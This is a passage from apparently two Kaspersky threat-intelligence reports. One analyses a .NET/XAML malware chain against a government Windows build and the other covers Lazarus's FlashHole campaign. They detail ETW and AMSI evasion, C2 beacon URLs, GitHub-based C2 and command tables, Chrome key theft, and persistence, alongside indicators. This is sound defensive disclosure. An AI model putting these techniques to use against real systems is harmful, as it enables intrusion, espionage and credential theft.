        %WINDIR%\Prefetch\PATCHMYPC-SCRIPTRUNNER.EXE-*.pf
      • Retrieve the files in the folders matching the pattern 20???? at the path below, where each file name starts with “20” followed by six more characters (e.g., 20260101). Read the files’ contents, filter out any lines containing the exact substring GetExtendedUpdateInfoHandler, and write the filtered content back to the log files. The path contains the keyword CmitUpdateAgent, which may be linked to a custom Windows 10 build used by a government in Asia.
        "%WINDIR%\Logs\CmitUpdateAgent\20????\20??????"
    2. Reset a registry‑based exception‑state logging system by deleting the nine GUID keys under the path LocalMachine\SOFTWARE\Classes\appid\[specific_GUID] one at a time, along with all of their child subkeys. The algorithm that generates the GUID path is unique– it derives the GUID from the C2 URL– so each C2 server has its own distinct set of bound GUIDs. Of the nine GUIDs derived using this method, one indicates that an exception occurred, and the others are numbered 0 through 7.
       
      For example, when the malware catches exception code 129, it creates the registry subkey {bde7ddc2-1f6f-4397-a0df-ae7c7d67d65a} to indicate that an exception occurred. It then checks the bit mask, where 129 equals binary 10000001. Consequently, it creates the eighth subkey {74084115-433e-4fe8-8d01-41c48fbfeef6} and the first subkey {bf6f4bde-97db-4dcd-9546-7ebf10061519}.
    3. Verify that each necessary configuration item exists in JSON-1-p, then validate some of its items against hardcoded values. If any item fails the check, halt the infection chain and submit the execution result to the reporting C2 server.
    4. Verify that the current user is an administrator; if not, throw an exception with code 128.
    5. Check whether the configuration item aop exists. If it does, Base64-decode its value, use the result as XAML-3, and skip to step 9.
    6. Generate a unique malware instance ID for the configuration item ii by calling Guid.NewGuid().
    7. Query the SusClientId value from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate. Then generate the value for the newly defined configuration item si by computing a GUID using the same algorithm as above. Use the concatenation of the retrieved SusClientId value and the byte sequence \x14\x43\x9B\x64 as the input data for the algorithm.
    8. Parse JSON-1-p, extract the relevant items and their values, and convert them to XAML format. Next, follow the steps outlined in the XAML-3 section to generate the complex XAML script XAML-3.
    9. Create a COM instance of WScript.Shell (CLSID: 41904400-BE18-11D3-A28B-00104BD35090) and retrieve the environment of the current process. Then set the COMPlus_ETWEnabled environment variable to 0 to prevent the CLR from registering the .NET ETW provider, which hides the associated events.
    10. Use RPC to create a remote COM object (CLSID: ab8902b4-09ca-4bb6-b78d-a8f59079a8d5). Exploit it via an unknown binary object deserialization vulnerability and the TypeConfuseDelegate technique. Once the exploit succeeds, XAML-3 is loaded into the remote host process dllhost.exe. This is a covert method for initiating a new process that loads the malicious payload XAML‑3. This technique effectively separates the infection chain from its initial process, allowing it to bypass behavioral monitoring by security solutions such as EDR.
    11. The execution result (in JSON format, shown below) is first AES‑encrypted using the key from the item e. A randomly generated IV is prepended to the encrypted data, and the result is then Base64‑encoded.
      [
          {
              // Fixed value
              "_": "0202097a-5c1e-460d-b5e0-030b9756b242",
              // Error number: 0 indicates successful execution
              "e": "0 ",
              // Value of config "ii"
              "i": "94aafd58-c00c-402a-aae6-858b4486a1a4"
          }
      ]
    12. POST the encrypted and encoded result to the reporting C2 server.

    XAML-3


    XAML-3 is a critical payload that, after leaving the original process tree, is loaded and executed in a different process: dllhost.exe. XAML-3 is generated from template XAML-3. As shown in the diagram below, the template is decoded and decrypted using the value of the ibi item in JSON-1-p. In addition to template XAML‑3, the final decryption includes two other XAML templates (template __P1__ and template __P2__).

    The multi-layer encryption structure of "ibi"

    The multi-layer encryption structure of “ibi”

    The AES key is taken from the config item ibk. The first 16 bytes of the encrypted binary data serve as AES IV 1. After decryption, the data consists of a simple header followed by AES IV 2.

    Template XAML‑3 includes two string placeholders, __P1__ and __P2__. Each placeholder is replaced with compressed, Base64‑encoded XAML (template __P1__ and XAML‑P2).

    The content of template __P1__ is identical to XAML-2-1 and bypasses AMSI in the new process. XAML-P2 is generated from the template __P2__.

    Some of the item values in template __P2__ come from the C2 configuration data in JSON-1-p. Within template __P2__, the placeholder __P__ is replaced with a compressed, encoded payload – the .NET 2 Plugin – which is decoded from the oib value in JSON-1-p. After completing all the operations, the template __P2__ becomes XAML-P2.

    The C2 configuration in XAML‑P2 is shown below:

    Item Value Description
    ii 94aafd58-c00c-402a-aae6-858b4486a1a4 Unique ID for this malware instance (if the ii value in the configuration is null, the malware will generate a random one).
    ec 9fT04e03tAiZAPogcDWt0w== Base64-encoded AES master key: same as item e in JSON-1-p, used for C2 traffic encryption and authentication.
    bi 79200-100800 Actual polling delay if the C2 doesn’t respond: 79200-100800 seconds (22-28 hours) – the code parses the values and multiplies them by 1000 to get milliseconds. This item indicates that the malware uses very long polling intervals.
    is 1200-2400 Actual delay: 1200-2400 seconds (20-40 minutes) – a long delay before the initial connection to the C2 server, used for sandbox evasion.
    u Base64encodedXAML A short XAML snippet that calls Environment.Exit(0)
    wi 100801 Actual initial wait: 100801 seconds (~28 hours). The malware waits approximately 28 hours after initial execution and then exits the process.
    de False Local exception logging switch: when set to False, exception logging is enabled.
    si 41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095 UID: generated using a custom method based on the registry key value SusClientId.
    cu https://openaigpt4vcom/model_v4/ Command-and-control (C2) server URL taken from the C2 server list.
    tp * Trusted SSL certificate thumbprint: * indicates that any certificate is trusted (disabling SSL pinning/validation). This entry also appears in a list, corresponding to the C2 item cu.
    rh   Additional route header/data: not configured in this instance.

    When dllhost.exe loads XAML-3, it loads template __P1__ and XAML-P2 one by one. When XAML-P2 loads, it retrieves the current domain via AppDomain.GetCurrentDomain() and then stores the values of the C2 configuration items (cu, tp, and rh; see the table above) in that domain using AppDomain.SetData(). Finally, XAML-P2 decodes and decompresses the embedded payload (.NET 2 Plugin), loads the .NET 2 Plugin into the current domain, and then calls the plugin’s entry method, m.C().

    .NET 2 Plugin

    This payload is a .NET assembly (PE file). As discussed above, it is loaded by XAML-P2 into the host process dllhost.exe. In the plugin’s entry method m.C(), a thread is spawned to execute the malicious operations.

    The following key steps are executed in this thread:

    1. Configuration initialization: Load the C2 configuration from the current AppDomain’s data storage and assign it to the corresponding member variables.
    2. Gather system information from the registry:
      • "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\full", Key="Version"
        "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", Key="BuildLab"
      • Combine the queried values into a single string, for example: "4.7.03190\n17763.rs5_release.180914-1434". If any query fails, replace its result with a hyphen (“-“).
    3. Clear the state of the exception‑state logging system: .NET 2 Plugin uses the same exception‑state logging system as the .NET 1 Loader.
      • Recursively delete 12 GUID subkeys from the registry. The algorithm that generates the GUID path is the same as the one used by .NET 1 Loader. The first eight GUIDs are the same as those that .NET 1 Loader attempted to remove. The remaining four GUIDs were generated using different integer seeds (integer seed = [From 1 to 4]|65536).
      • If steps 1 and 2 are completed successfully, generate a subkey using the integer seed 3|65536. Then create the following registry subkey:
      • "LocalMachine\SOFTWARE\Classes\appid\{ff259bcd-2f0a-44de-b34a-0092fec1d8a2}
        DllSurrogate = ""
    4. Anti-analysis: Check whether the current host process is dllhost.exe by examining Environment.CommandLine.
    5. Prevent the host process from exiting: Create a managed object and retrieve its IUnknown interface. Then call ole32.dll’s CoLockObjectExternal(IUnknown interface) to lock the object in memory, ensuring that the dllhost.exe process created by RPC is not released by the system.
    6. Jitter delay: Before the initial request to the C2 server, wait for a random jitter delay of 20-40 minutes (set by the configuration item “is”=”1200-2400”) to evade sandboxes by causing them to time out.
    7. Set maximum execution time: Create a timer that registers a callback function as a watchdog. The timer waits approximately 28 hours (100801 seconds, retrieved from the configuration item wi) before invoking the callback. The callback fetches the configuration item u, decodes its Base64‑encoded string, decompresses the output, and extracts a XAML snippet from the resulting data. It then loads this XAML, which ultimately triggers Environment.Exit(0).
    8. Periodic polling:
      1. Retrieve the config items cu and ii to build the full URL https://openaigpt4v.com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4
      2. Obtain the system proxy using three methods (see the Discovering proxies section below).
      3. Register an HTTPS callback (ServerCertificateValidationCallback) that verifies the server‑side X.509 certificate against the configuration value tp before establishing the connection.
      4. Then, combine the system information with additional details, such as whether the proxy is bypassed, whether it is using a proxy, and the current index in the C2 server list.
      5. Next, encrypt the combined data with AES (see the AES encryption diagram in the network traffic section for more details), and then encode the encrypted output in Base64.
        // Final HTTP request URL
        "https://openaigpt4v[.]com/model_v4/94aafd58-c00c-402a-aae6-858b4486a1a4?b=lM4V3VwrWtXBy4oBGUkXOHfxyLUlrT2hIZGn4C37W1Z3%2FeW1WURJqzaNLQhGFHsWxA2lpJHZSpd8VDLMOQRD%2FfsDswnomIrBpoaNzug3dOtrh1J2KIqZRmKx1TtQsxq1RAGu1y45rSKaPHm9s2HF8A%3D%3D&c=41bd7f37-c3f6-4a9e-b2f3-5363e9a2c095"
      6. Hijack the HTTP User-Agent and replace the value following HOST: with the config value of item rh.
      7. Retrieve a XAML file from the C2 server, update the configuration data, and load the retrieved XAML (for more details on techniques, see the Execute downloaded XAML payload in an isolated AppDomain section).
      8. If a valid response is received from C2, the loop pauses for 5-6 minutes before the next request; otherwise, it pauses for 22-28 hours, checking every 10 minutes to determine whether the allotted time has elapsed.

    AES encryption scheme for network traffic


    All traffic between the malware and the C2 server is encrypted and authenticated using AES‑128‑CBC with HMAC. The encryption and authentication keys are derived from a master key – specified in the configuration as "ec"="9fT04e03tAiZAPogcDWt0w==" – by applying HMAC with distinct seed values.

    For a given master key and a single-byte seed, the derivation works as follows:

    1. Generate a 16‑byte sequence from the seed; this serves as the HMAC key.
    2. Compute HMAC‑SHA256 over the master key to obtain an intermediate key.
    3. Use this intermediate key as the HMAC key to compute HMAC‑SHA256 on the constant byte 0x01.
    4. Take the first 16 bytes of the resulting hash; this becomes the final derived key.

    Accordingly, the server-side encryption and decryption keys mirror those on the client (malware) side.

    Seed Key type generated (client side) Key type generated (server side)
    0 Decryption key Encryption key
    1 Decryption authentication key Encryption authentication key
    2 Encryption key Decryption key
    3 Encryption authentication key Decryption authentication key

    The code implements an encapsulation of AES-CBC encryption combined with HMAC-SHA256 integrity verification. It uses a randomly generated IV to symmetrically encrypt the plaintext in CBC mode and produces ciphertext. Next, it calculates an SHA256 message authentication code for the concatenated “IV+ciphertext” using a separate HMAC key. Finally, it concatenates the three segments – IV (16 bytes) | ciphertext | HMAC (32 bytes) – into a single byte array that constitutes the final encrypted message. This follows the standard cryptographic Encrypt-then-MAC construction. The receiver must validate the HMAC before decrypting with the corresponding key and IV, which ensures confidentiality, integrity, and tamper resistance.

    Discovering proxies


    .NET 2 Plugin detects the system proxy using three methods:

    • Retrieve the system‑wide proxy configuration using the Win32 WinHTTP API function WinHttpGetDefaultProxyConfiguration(), then extract the proxy server with the regular expression (?:([a-zA-Z]+)=)?(.*).
    • If that fails, locate the running explorer.exe process, impersonate its access token using Impersonate(), and retrieve its proxy configuration with the .NET API WebProxy.GetDefaultProxy().
    • If both methods fail, fall back to obtaining the proxy from the .NET property DefaultWebProxy.

    These methods ensure that the malware can reach external networks even in complex network environments with proxies.

    Execute downloaded XAML payload in an isolated AppDomain


    This technique abuses MulticastDelegate again by using reflection to modify its private _invocationList array. .NET 2 Plugin creates a multicast delegate (CrossAppDomainDelegate) and replaces one entry in its invocation list with a malicious delegate pointing to XamlReader.Parse(). When AppDomain.DoCallBack() executes this multicast delegate, it iterates through the invocation list and invokes the injected XamlReader.Parse() to parse and execute the downloaded XAML.

    In more detail, the process is as follows:

    1. Create a new isolated AppDomain with a randomly generated GUID as its name.
    2. Copy all configuration data from the current AppDomain into the new one.
    3. Set the proxy information in the new AppDomain and assign it to the variable px.
    4. Use TypeConfuseDelegate to replace TimeZoneInfo.ClearCachedData() with XamlReader.Parse(), thereby modifying the MulticastDelegate(CrossAppDomainDelegate).
    5. Use appDomain.DoCallBack() to invoke XamlReader.Parse() within the isolated AppDomain, executing the downloaded XAML payload.
    6. Transfer any updated configuration data from the new AppDomain back to the original AppDomain.
    7. Unload the isolated AppDomain to complete the cleanup.

    This technique keeps the downloaded malicious payload out of the main AppDomain, which increases stability and allows the payload to be fully cleaned up after execution.

    Infrastructure

    The attack relies on commercial hosting infrastructure. The C2 IP is part of Cloudflare’s CDN, and the domain name is registered with Cloudflare.

    Domain IP First seen Domain Registrar/ASN
    openaigpt4v[.]com 104.18.14[.]219 Sep 27, 2023 Cloudflare, Inc. / 15169

    Victims

    Based on KSN telemetry data, we identified a single victim in Asia. Additionally, we learned that the malware was designed to target a specially customized government‑only version of the Windows operating system. Consequently, we infer that the victims are Asian government entities.

    Attribution

    After analyzing the TTPs, code similarities, and infrastructure, we were unable to link the attack to any known APT group.

    Conclusions

    Technological sovereignty has become a global trend. In today’s geopolitical climate, a growing number of countries are building their own core software platforms, including operating systems, databases, middleware, and cloud services, with operating systems often the top priority. The advantage is that each country controls the development, operation, and upgrading of its own operating systems, granting it full autonomy over the entire process. On the other hand, it also means that each country must protect this entire vast ecosystem on its own. Bringing the operation and maintenance of such a system to maturity is a lengthy process. Until then, both the system and its emerging supply chain could be exposed to attacks through multiple vectors, increasing potential vulnerabilities.

    Indicators of Compromise

    File hashes

    F2458ED133F8D0CA19E22C10F577E98E    e4537a1762fcafd2fd96bfc825bad34f9db9a24d
    E1DC6F1ED193594F2284BE22AE08DFA4               Resources.resx
    AB81564BCB8CA7E710C66832DE747556   .NET 1 Loader
    CFB8B281BDF5D9390E64B10C312FB2C1              .NET 2 Plugin
    67E3617F8709D34F806F8E02BADBA8A5    fabric.config
    514AC0D73B8A1B73488EF5E2E55A75C3   PatchMyPC-ScriptRunner.exe.config
    514117D536E347560D049CFE0C609632     XAML-1
    9000820D8153C24CD60D53001D3A97B6    XAML-2
    B3C4A635179680EDAFB5D006CF0CFFC6              XAML-2-1
    4F28622C5E60C01319BF48CF742FE1A5    XAML-2-2
    C86D53392A87DD3F3E62D62C9B92A9BD              XAML-3

    File paths

    C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe.config
    C:\Windows\SoftwareDistribution\Download\Install\fabric.config
    C:\Windows\SoftwareDistribution\Download\Install\Resources.resx

    Domains and IPs

    openaigpt4v[.]com

    Source: Securelist (Kaspersky GReAT) · 2026-10-29

  • Operation FlashHole: Lazarus breaks security, defies control

    Operation FlashHole: Lazarus breaks security, defies control

    In January, we responded to the Lazarus Group’s novel attack campaign against South Korea, which followed last year’s Operation SyncHole. In this new operation, the group employed an updated malware chain that included both their old and new malware, which we disclosed in full, and used another mandatory South Korean security software program as a part of infection chain using a watering‑hole strategy. Notably, the group targeted victims more selectively, sending spear‑phishing emails with links to fabricated but relevant sites, such as portfolio and résumé pages tailored to each target. We dubbed this activity Operation FlashHole.

    Operation FlashHole attack flow during initial compromise

    Operation FlashHole attack flow during initial compromise

    Our examination reveals that the earliest evidence of this new operation dates back to July 2025. This suggests the group began preparing for the campaign shortly after ending Operation SyncHole, which lasted at least four months. We identified a minimum of three organizations impacted by the campaign in South Korea’s software, construction, and wired communication equipment manufacturing sectors. These sectors differ from those affected by Operation SyncHole, indicating that the group has expanded its target scope over time.

    Background

    After more than a year since the first observation of Operation SyncHole, we detected a suspicious execution chain originating from legitimate South Korean software. This chain mirrors the one from the previous operation; however, this time, the attacker abused CrossWeb EX instead of Cross EX, which was abused in Operation SyncHole. Both applications appear to be maintained by the same vendor, and both are related to financial security. CrossWeb EX is a financial security solution that is required to access widely used online banking and government websites. It encrypts communications between the user’s browser and the web server using public key infrastructure (PKI). This is not the first time Lazarus has abused this software. It was also used in 2021 to deploy the Racket downloader and again in 2022 and 2023. Although the exact method by which CrossWeb EX was abused remains unclear, we determined that the attack chain ultimately leads to the execution of the malware in memory.

    We noted that the spawned process was running with a high integrity level. The parent process, INISAFECrossWebEXSvc.exe, originates from the installation bundle of INISAFE CrossWeb EX V3 version 3.4.1.2, released in 2023 after KrCERT’s public advisory.

    As we already mentioned in our SyncHole blog post, this pattern closely mirrors the long‑standing strategy employed by the Lazarus Group to target South Korea. Since CrossWeb EX and similar software is mandatory for South Korean users and typically runs in the background to interact with the browser, it has been leveraged as a critical attack vector by the group. In 2025, a paper was presented at the USENIX Security Symposium that investigated vulnerabilities in South Korea’s mandatory security software and demonstrated how such software can unintentionally create a massive attack surface.

    In July 2026, the South Korean government and several local security vendors also published a joint security advisory covering typical Lazarus attack techniques, including exploitation of financial security software. While this advisory overlaps with our findings from Operation FlashHole and Operation SyncHole, and AhnLab’s detailed analysis report Operation Double Barrel covers a wide range of recent Lazarus Group activities, we are conducting a more granular classification based on their TTPs. We will discuss this further in the attribution section.

    Initial infection vector

    Although we could not precisely determine what triggered the infection chain, our analysis uncovered a suspicious website hosted on GitHub Pages that is associated with the GitHub account used as the C2 channel. The GitHub account was created last September, and the initial version of the site was designed to showcase the résumé of a senior network appliance developer. In January, however, this site was replaced with another featuring an interior design showcase. The first site was likely accessed by an employee of a wired communication manufacturing company, while the second site likely affected a target in the construction sector.

    Appearance of the malicious websites

    Appearance of the malicious websites

    The first site with the résumé had a photograph supposedly of a job seeker, but the lack of EXIF metadata and the unnatural texture of the image indicate that it was generated by AI. This suggests the Lazarus Group has incorporated AI into its long‑standing strategy, like other Korean‑speaking threat actors (1, 2). The group most likely also used AI to create the lure site: the job seeker’s name resembles the Korean version of “John Doe,” and the portfolio was populated with seemingly meaningless details and random companies. The generated site was then manually tailored to specific targets.

    Suspected use of an AI-generated image on the résumé site

    Suspected use of an AI-generated image on the résumé site

    The websites contained embedded links that loaded an external JavaScript file via a script tag.

    • Malicious link embedded in the résumé site: hxxps://javadevhouse.co[.]kr/ajax/libs/jquery/1.7.3/jquery.min.js
    • Malicious link embedded in interior design site: hxxps://pythonapischool[.]com/api/detach

    Based on the analysis, we assess with medium-to-high confidence that the targets received phishing emails containing links to the malicious site hosted on GitHub Pages (using the domain <username>.github.io). The research results showed a high possibility that visiting the malicious site initiated an infection process involving CrossWeb EX software. This assessment aligns with Lazarus’s recent approach, as detailed in the joint advisory published by the South Korean government and security companies.

    Full infection chain

    Following the initial compromise, the legitimate Windows binary fsquirt.exe was executed under the CrossWeb EX process and injected with shellcode containing a malicious DLL – TechHub malware. From our extensive and thorough examination, we identified several malicious payloads and reconstructed the complete infection chain. The infection chain is rather complex and reveals the Lazarus Group’s advanced operational techniques on targeted hosts. These techniques conceal their malicious payloads, intent and their sophisticated malware delivery framework. The latter was updated extensively compared to the previous campaign, despite the new operation starting less than a year later. Significantly, the execution chain below exists only in memory during the initial infiltration, highlighting the attackers’ considerable efforts to hide the initial compromise.

    Initial infection chain

    Initial infection chain

    Following the initial compromise, the group sought to maintain persistence on the network by installing a pair of malware strains – TouchHub and TouchShift – leveraging DLL side‑loading under the name mscoree.dll. TouchHub was deployed by the first instance of TechHub. It then used DLL side-loading to launch TouchShift, which led to the in‑memory execution of another TechHub instance. After launching the second time, TechHub deployed another pair, ClientHub and LPEClient, rather than executing Cubridge directly. Only minimal traces of these files were found on disk; the remainder of the malicious code persisted exclusively in memory.

    Expanded infection chain after gaining persistence

    Expanded infection chain after gaining persistence

    Since Cubridge remains only in memory at the initial compromise stage, we suspect the group designed this indirect, multistage chain to deliberately redeploy Cubridge after gaining persistence, as it serves as the most sophisticated orchestrator of the attack.

    Malware set

    The full chain comprises advanced variants of the known Lazarus malware strains, including TechHub, Cubridge, TouchShift, LPEClient, and the newly identified TouchHub and ClientHub.

    TechHub – the start of the chain

    TechHub, a downloader that plays a central role in this attack, communicates with GitHub using a Personal Access Token (PAT). It serves as the initial payload, providing the top of the chain with sufficient functionality to profile compromised hosts and facilitate subsequent payloads.

    This variant is a more advanced version of the malware named CLOUDBURST by Mandiant and NickelLoader by ESET. According to their reports, the earlier version communicated with a C2 server via HTTP(S) to fetch additional payloads. The latest iteration we found, however, communicates with GitHub instead and has updated command strings.

    We identified three variants of TechHub in the chain: an in‑memory version, a simple DLL side‑loading version, and a DLL side‑loading version that uses a registered Windows service. Depending on which stage loads the malware, it contacts a private GitHub repository via the GitHub API using either hard‑coded credentials or credentials retrieved from its configuration file.

    When TechHub loads, it creates a 4‑byte hexadecimal identifier (ID) in the range 0x1000–0xFFFF or reads one from the configuration file, enabling the attackers to distinguish between compromised hosts. TechHub then checks a GitHub issue by sending the request GET /issues?state=[open/closed] to determine whether any previous communication remains active and removes any traces of it if found. It then proceeds with the handshaking process.

    1. It creates a new issue titled 1[ID] with the body “hel” using the POST /issues request, and sets its status to open.
    2. It then retrieves a file from the repository containing the 2[ID] value in its name. This file contains the RSA public key.
    3. It generates a random 16‑byte XOR key, encrypts it with the provided RSA public key, and uploads the result, prefixed with 1[ID], to the repository.
    4. The hard‑coded IV is XORed with the generated 16‑byte key and then used after the handshake.

    During file exchange, filenames follow the pattern [1|2][ID][random-16-byte-key] throughout communication. The “2” prefix indicates delivery from the repository to TechHub, while “1” indicates delivery from TechHub to the repository. The random 16‑byte key in the filename is used for AES encryption or decryption of each file’s contents, employing either a hard‑coded IV or an updated IV.

    After the key exchange is complete, TechHub reads a file with the prefix “2” once again and verifies that the delivered data equals “hel”. If the check passes, TechHub gathers extensive information from the infected host. This data is then encrypted and sent to the repository. After transmitting the device information, the process concludes by updating the body of the previously created issue from “hel” to “hey” using PATCH /issues/[issue number]. The malware is now fully prepared to receive commands from the repository.

    TechHub supports four commands. The laeca command deploys a payload packaged in shellcode that reflectively loads the embedded payload directly into memory.

    Command Description
    mqdrz Collect information about the device and its running processes
    laeca Directly invoke the received shellcode in memory
    aqvxp Terminate the current process
    rtcya Beaconing after finishing the handshake process

    Cubridge – the framework orchestrator

    Cubridge, deployed via TechHub on the compromised host, is capable of retrieving various payloads through multiple methods. It serves as the central orchestrator of the entire malware framework, supporting a range of plugins, modules, and tools. An earlier version of Cubridge was also disclosed in the reports covering the previous version of TechHub. In those reports, Mandiant identified it as SIDESHOW, and ESET identified one of its modules as LightlessCan.

    To establish communication with the C2 server, Cubridge randomly selects one of the predefined C2 servers and constructs a dedicated C2 URL for every request, using the pattern [C2_URL]/[page1]/[page2]/[page3]. This is achieved by concatenating terms from predefined word lists. Our analysis identified a single hardcoded C2 server – hxxps://cubedesign[.]co[.]kr/news/AABBCC – associated with the examined instance that is configured to version 5.1. During URL generation, AABBCC is substituted with a null value. The page3 segment is assigned a randomly generated integer between 10000000 and 99999999. Consequently, each generated URL is designed to appear authentic and remain unique for each request.

    The predefined list for page1 is shown below. TechHub randomly selects one item from the list.

    economy, opinion, politics, national, international, medical, investment, sports, lifestyle, shopping, culture

    The predefined word list for page2 is shown below.

    article, list, story

    This means the hardcoded URL can later be transformed, for example, into hxxps://cubedesign[.]co[.]kr/news/economy/article/12345678 by following the steps described above.

    Authentication using the POST request with the C2 server requires three parameters in the form of key‑value pairs. Each key is randomly generated using a different predefined word dictionary, and the associated values consist of a randomly generated 8‑byte hexadecimal bot ID, a fixed authentication token (KW4Ofw982CNJjxd51AVqkGAop), and a randomly generated 16‑byte hexadecimal session ID.

    Cubridge employs a more robust handshaking process than TechHub, combining the RSA and RC6 algorithms. Unlike TechHub, it skips the profiling step and proceeds directly to command and control after the handshake. During communication, the malware mimics browser requests, using X‑CSRF‑Token and X‑Requested‑With headers for authentication and the Upgrade‑Insecure‑Requests header to request additional data.

    Cubridge's communication sequence

    Cubridge’s communication sequence

    Cubridge contains extensive functionality, with a particular focus on loading subsequent‑stage payloads. The commands employ various techniques, such as DLL injection, reflective loading, and section‑mapping injection. The payloads may be delivered in various forms:

    • Plugins – reusable extensions that add functionality as needed and can be invoked at any time (in shellcode and DLL form);
    • Tools (in DLL form) – independent utilities that perform one-off tasks;
    • Modules – components that are loaded once and remain active providing an extended set of functionalities.

    It is anticipated that the commands for plugins and shellcode will load identical types of plugins because both support a similarly formed exported function for subsequent activity. The shellcode can be generated using the open‑source sRDI tool to package a DLL‑style plugin. The capabilities of a single DLL are likely utilized to load a tool that works independently because when a single DLL is loaded, only its DllMain entry point and its parameters are accessible; no other exported functions are exposed.

    Command Payload type Description
    0 – Collect device info including the computer name, time zone, PID, and other similar details
    1 Archive the specified file/directory using the legacy ZipCrypto algorithm and the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
    2 Create a file at the specified path
    3 Possibly plugin Inject the provided DLL payload into the target process and load it reflectively using reflective DLL injection
    4 Plugin Reflectively load a plugin in DLL format
    5 Retrieve the address of the specified exported function from the target plugin and run it with the provided parameters
    6 Retrieve all information about the loaded plugins
    7 Unload the specified plugin
    8 Shellcode Inject the provided shellcode into the target process and load it using section mapping injection
    9 Load the provided shellcode directly into memory
    10 Retrieve the address of the specified export function from the target shellcode (likely a plugin in shellcode form) and run it with the provided parameter
    11 Retrieve all information about the loaded shellcode
    12 Unload the specified shellcode
    13 – Set the scheduled Cubridge execution time (in minutes) by updating a global variable
    14 Set the scheduled Cubridge execution time (in minutes) by updating a global variable, while disabling monitoring by also updating another global variable
    15 Terminate in a controlled manner
    16 Get the configuration for Cubridge: retrieve the global flags, the number of C2 servers, the C2 addresses, etc.
    17 Update the global flags, the number of C2 servers, the C2 addresses, etc.
    18 Tool Load a DLL reflectively with the specified parameter
    19 Configure the parameters for loading a single DLL
    20 Unload the single DLL
    21 Module Load the “action module” (ActionModule.dll) reflectively and invoke its AppinfoView export function
    22 Load the “function module” (FunctionModule.dll) reflectively and invoke its PresentationFontConfig export function

    Commands 21 and 22 each load a different module. As their internal names imply, the action module manages basic file and process operations, while the function module implements Windows’ default commands. The action module covers commands 23–41, and the function module handles commands 42–79.

    The action module handles system operation commands, file system interactions, and process behavior. It is invoked by passing the appropriate command and parameters to its AppinfoView export function. The module supports 19 commands, numbered 23 through 41. Execution results are first sent to Cubridge, which then forwards them to the C2 server.

    Command Role
    23 Get local disk space for each drive
    24 Get information about the specified file or directory
    25 Execute the provided command
    26 Get information about the specified file or directory (similar to command 24)
    27 Execute the provided command under the target process (PPID spoofing)
    28 Execute the provided command under the target process within the provided session (PPID spoofing + session impersonation)
    29 Get detailed information about processes
    30 Terminate the provided process
    31 Suspend all threads belonging to the specified process
    32 Resume all threads belonging to the specified process
    33 Permanently delete the file by overwriting its entire contents with the sequence: 0 → 1 → random bytes → 1 → 0
    34 Rename the provided file to :EFS (the alternate data stream area) and delete it using the native API SetFileInformationByHandle
    35 Set the current working directory
    36 Copy the specified file to the provided path
    37 Delete the specified directory
    38 Move the specified file to the provided path
    39 Create the provided directory
    40 Initiate a non‑blocking connection attempt to the specified IP address and port (possibly for port scanning)
    41 Read the specified file

    The function module implements commands that emulate Windows’ built-in commands. Similar to the action module, its DllMain routine initializes all supported command functions, which are later accessed through the PresentationFontConfig export. Altogether, the module offers 38 commands, numbered from 42 to 79. While we believe this module is based on the previous LightlessCan, this is the first time we’ve seen it in the form of a separate module.

    Command Role
    42 Capture all displays and archive them using the legacy ZipCrypto algorithm with the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
    43 Synchronize the MAC (Modified, Accessed, and Created) times of the file provided in the second argument to match those of the file provided as the first argument
    44 Get information about the specified directory
    45 Get information about the specified drive
    46 Inject the provided DLL payload into the target process
    47 Unload the specified DLL from the specified process
    48 Implementation of the ipconfig command
    49 Implementation of the net command
    50 Implementation of the netsh advfirewall firewall command
    51 Implementation of the netstat command
    52 Implementation of the ping -6 command
    53 Implementation of the reg command
    54 Implementation of the sc command
    55 Implementation of the ping command
    56 Implementation of the whoami command
    57 Implementation of the nslookup command
    58 Implementation of the schtasks command
    59 Implementation of the systeminfo command
    60 Implementation of the arp command
    61 Call the CryptUnprotectData function to retrieve the AES key that DPAPI protects. Extract the key using the encrypted_key keyword from Chromium’s Local State file located at: %LOCALAPPDATA%\Google\Chrome\User Data\Local State
    62 Not implemented
    63 Not implemented
    64 Read the specified file and decrypt it using an XOR operation with the key 0x59. Then extract the paths from the decrypted buffer and archive files and directories at these paths with the legacy ZipCrypto algorithm, using the hard‑coded password: xdkiTajAAxc3i/w[<881fnC!G*cb1Dit2sh.gAk/
    65 ~ 79 Not implemented

    Besides the modules, we also observed that the actor deployed various plugins and tools.

    Type of payload Name Description
    Plugin ADFinder (AdFinder.dll) Launches LDAP queries in an Active Directory environment, taking six arguments such as log file path, ADsPath, search filter, and attribute names
    Plugin FileCollector (Dll.dll) Recursively scans every subdirectory and file in the provided directory, gathering detailed information about each
    Tool Browser stealer Can be injected into Chromium-based browsers, such as Google Chrome, Microsoft Edge, and Brave. Once injected, it extracts files and credentials from the victim’s browsers, including stored passwords, bookmarks, history, preferences, and cookies
    Tool Process collector Iterates over all running processes, collecting each process’s ID, path, and command line

    TouchHub installs a service for TouchShift

    During our analysis, we obtained a previously unknown malware sample from TechHub’s private GitHub repository, which served as a parent installer for TouchShift. We dubbed this malware TouchHub. Upon execution, it copies the legitimate printfilterpipelinesvc.exe to C:\Windows\System32\RasConv\ImeBroker.exe, registers it as a service, and places an embedded TouchShift payload named mscoree.dll in the same directory. Following creation, the malware synchronizes the MAC timestamps of C:\Windows\System32\drivers\monitor.sys with those of the newly written file, hindering forensic analysis.

    It then goes through the service registration process by collecting up to 100 legitimate service names that are registered under the netsvcs svchost group in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost. It randomly selects one of these names, appends two random alphabetic characters to form a new service name, and uses this name to create a service that runs the hard‑coded command line C:\Windows\System32\RasConv\ImeBroker.exe -TimeBroker with the description Microsoft Service. The newly created service is started immediately.
    Overall, TouchHub creates three files in the designated directory to launch TouchShift with SYSTEM privileges.

    Path Type Description
    C:\Windows\System32\RasConv\ImeBroker.exe Executable file registered as a service Copied from C:\Windows\System32\printfilterpipelinesvc.exe
    C:\Windows\System32\RasConv\mscoree.dll Side-loaded TouchShift payload Dropped by TouchHub. It contains encrypted payloads and includes portions of a legitimate DLL’s contents, which significantly inflates its size
